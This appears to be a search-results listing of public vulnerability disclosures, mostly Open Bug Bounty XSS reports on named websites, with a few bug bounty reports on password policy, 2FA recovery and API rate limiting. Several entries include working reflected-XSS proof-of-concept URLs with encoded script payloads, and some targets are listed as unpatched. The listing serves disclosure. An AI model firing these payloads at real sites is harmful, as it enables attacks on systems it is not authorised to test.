20626 matches found
pass.tacamateurs.com XSS vulnerability
Vulnerable URL: http://pass.tacamateurs.com/cgi-bin/hub6/updates.pl?find=%22%3E%3Csvg%2Fonload%3Dalert%28%27OPENBUGBOUNTY%27%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...
jilster.de XSS vulnerability
Vulnerable URL: https://www.jilster.de/kunde/signupset Details: Description| Value ---|--- Patched:| Yes, at 08.09.2017 Latest check for patch:| 08.09.2017 07:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 915093 VIP website status:| No Check jilster.de SSL...
strategicfiresolutions.com XSS vulnerability
Vulnerable URL: http://www.strategicfiresolutions.com/sfs-english/contact-dresden-germany-sfs.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 11.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websit...
tacamateurs.com XSS vulnerability
Vulnerable URL: https://www.tacamateurs.com/cgi-bin/hub6/updates.pl?find=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3B%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...
csibologna.it XSS vulnerability
Vulnerable URL: http://www.csibologna.it/showlink.php?catid="idlink=5 Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 16:31 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4821562 VIP website status:| No Check...
Legal Robot: Password complexity not evenly enforced
A security researcher discovered that our password complexity requirements were not properly enforced during account registration, as they were during password reset. Minor issue but i appreciate the response time, It's really nice working with @danrubins , his very good and humble attitude is mu...
Legal Robot: Non-functional 2FA recovery codes
While going live with additional 2FA options, a security researcher discovered that users that had enabled 2FA were not able to recover their accounts in case of a missing phone or authentication device. The issue was caused by improper error handling on the client during account recovery...
GSA Bounty: Race condition on the Federalist API endpoints can lead to the Denial of Service attack
Description Hello. I discovered that the Federalist API doesn't have rate limiting in place, and executes any amount of request to the endpoint in parallel mode. The impact Since you are using the cloud, and i can't test the production environment, impact is theoretical in this case - it can be a...
plagron.com XSS vulnerability
Vulnerable URL: https://www.plagron.com/nl-BE/search-result/ Details: Description| Value ---|--- Patched:| Yes, at 06.10.2017 Latest check for patch:| 06.10.2017 05:53 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 449954 VIP website status:| No Check plagron.c...
celprogen.com XSS vulnerability
Vulnerable URL: http://www.celprogen.com/products.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1714896 VIP website status:| No Check celprogen.com SSL connection:| Grade: B+...
nescpa.org XSS vulnerability
Vulnerable URL: http://www.nescpa.org/cpecoursedetails.php?id=2%22%27--!%3E%3CScript%20/K/%3Econfirm%22OPENBUGBOUNTY%22%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:42 GMT Vulnerability type:| XSS Vulnerability status:|...
blogosfere.it XSS vulnerability
Vulnerable URL: http://blogosfere.it/cerca?q=aaaaa%22+onfocus%3Dprompt%2FOPENBUGBOUNTY%2F+autofocus%3Dx+bad%3D%22%3Eaa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dprompt%2FOPENBUGBOUNTY%2F%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:|...
tajpoint.com XSS vulnerability
Vulnerable URL: http://www.tajpoint.com/search.php?search=nomanAli181" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 932023 VIP website status:| No Check tajpoint.com SSL...
blackwidow.it XSS vulnerability
Vulnerable URL: http://blackwidow.it/index.php?keywords=NEXT%20RELEASES%22%27--!%3E%3Cscript%3Ealert'OPENBUGBOUNTY'%3C/script%3Ecatalog Details: Description| Value ---|--- Patched:| No Latest check for patch:| 13.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...
exchangerates.org.uk Cross Site Scripting vulnerability
...
lampinabox.com XSS vulnerability
Vulnerable URL: http://www.lampinabox.com/catalog.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6796902 VIP website status:| No Check lampinabox.com SSL connection:| Grade: F...
topvideos88.org XSS vulnerability
Vulnerable URL: http://topvideos88.org/man/viewman.cgi?page=%22%20/%3E%3Cscript%3Ealert%28%27OPENBUGBOUNTY%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:41 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...
ivyjoy.com XSS vulnerability
Vulnerable URL: http://www.ivyjoy.com/rayne/kidssearch.html/"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 586642 VIP website status:| No Check ivyjoy.com SSL connection:|...
ulabequipment.com XSS vulnerability
Vulnerable URL: https://www.ulabequipment.com/locationsearch.php?q=gc"--!"=search===3distance=1=12tgt=3 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7582767 VIP website status:| ...